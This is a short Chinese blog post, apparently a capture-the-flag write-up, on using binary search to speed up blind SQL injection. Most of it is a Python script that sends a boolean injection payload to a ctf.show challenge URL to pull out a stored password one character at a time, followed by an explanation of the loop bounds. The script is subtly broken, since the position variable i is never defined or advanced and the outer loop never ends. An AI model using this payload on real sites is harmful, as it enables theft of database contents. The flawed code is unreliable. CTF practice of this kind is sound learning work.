SQL 盲注二分法

admin 2023年12月15日20:56:00评论9 views字数 678阅读2分15秒阅读模式

之前一直都是整个过一遍字典… 二分法没怎么研究

二分法有一个使用条件, 就是需要查找的内容必须有序 (即按照从小到大或从大到小的顺序排序)

这里借 ASCII 码实现二分法盲注

二分法时间复杂度为 O(log2n)

二分法查找比遍历字典查找效率高得多

import requests

url = 'http://a2a7e64c-6f02-4059-84fc-3cdda760b232.challenge.ctf.show/api/index.php?id=1'

flag = ''

while True:
    min = 32
    max = 127
    
    while min < max:
        mid = (min + max) // 2
        payload = '\' and if(ascii(substr((select password from ctfshow_user where username=\'flag\'),{},1))>{},1,0) %23'.format(i,mid)
        res = requests.get(url + payload)
        if 'admin' in res.text:
            min = mid + 1
        else:
            max = mid
    flag += chr(min)
    print(flag)

主要说一下为什么是 min = mid +1max = mid

当判断 mid 大于某个值的结果为 true 时, 这个所求值肯定是比 mid 要大的 (大于), 所以是 mid + 1

当结果为 false 时, 所求值应该是不超过 mid (小于等于), 所以是 max = mid

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日20:56:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL 盲注二分法http://cn-sec.com/archives/2306422.html

发表评论

匿名网友 填写信息